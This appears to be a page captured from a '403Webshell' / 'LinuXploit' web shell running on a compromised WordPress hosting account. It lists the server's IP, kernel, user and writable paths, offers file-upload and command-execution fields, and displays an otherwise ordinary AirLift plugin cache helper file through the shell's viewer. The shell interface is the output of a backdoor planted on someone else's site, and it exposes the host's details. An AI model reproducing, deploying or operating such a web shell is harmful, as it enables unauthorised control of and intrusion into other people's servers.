403Webshell
Server IP : 162.0.217.223  /  Your IP : 216.73.216.150
Web Server : LiteSpeed
System : Linux premium269.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : mypckeys ( 1539)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mypckeys/backup/msckey.com/wp-content/plugins/airlift/buffer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mypckeys/backup/msckey.com/wp-content/plugins/airlift/buffer/helper.php
<?php

if (!class_exists('ALCacheHelper')) :

	class ALCacheHelper {

		public static function getQueryParams() {
			if (!$_GET) {
				return array();
			}
			$params = $_GET;
			if ($params) {
				ksort($params);
			}
			return $params;
		}

		public static function getRawRequestURI() {
			if (!$_SERVER['REQUEST_URI']) {
				return '';
			}
			return '/' . ltrim($_SERVER['REQUEST_URI'], '/');
		}

		public static function getRequestURIBase() {
			$request_uri = self::getRawRequestURI();
			if (empty($request_uri)) {
				return '';
			}
			$request_uri = explode('?', $request_uri);
			return reset($request_uri);
		}

		public static function getQueryString() {
			return http_build_query(self::getQueryParams());
		}

		public static function getCleanRequestURI() {
			$request_uri = self::getRequestURIBase();
			if (empty($request_uri)) {
				return '';
			}
			$query_string = self::getQueryString();
			if (empty($query_string)) {
				return $request_uri;
			}
			return $request_uri . '?' . $query_string;
		}

		public static function getCacheBasePath() {
			return WP_CONTENT_DIR . '/cache/airlift/';
		}

		public static function getRequestCachePath() {
			$host = $_SERVER['HTTP_HOST'];
			$request_uri = self::getCleanRequestURI();
			return  self::getCacheBasePath() . $host . rtrim($request_uri, '/');
		}

		public static function randString($length) {
			$chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";

			$str = "";
			$size = strlen($chars);
			for( $i = 0; $i < $length; $i++ ) {
				$str .= $chars[rand(0, $size - 1)];
			}
			return $str;
		}
	}
endif;

Youez - 2016 - github.com/yon3zu
LinuXploit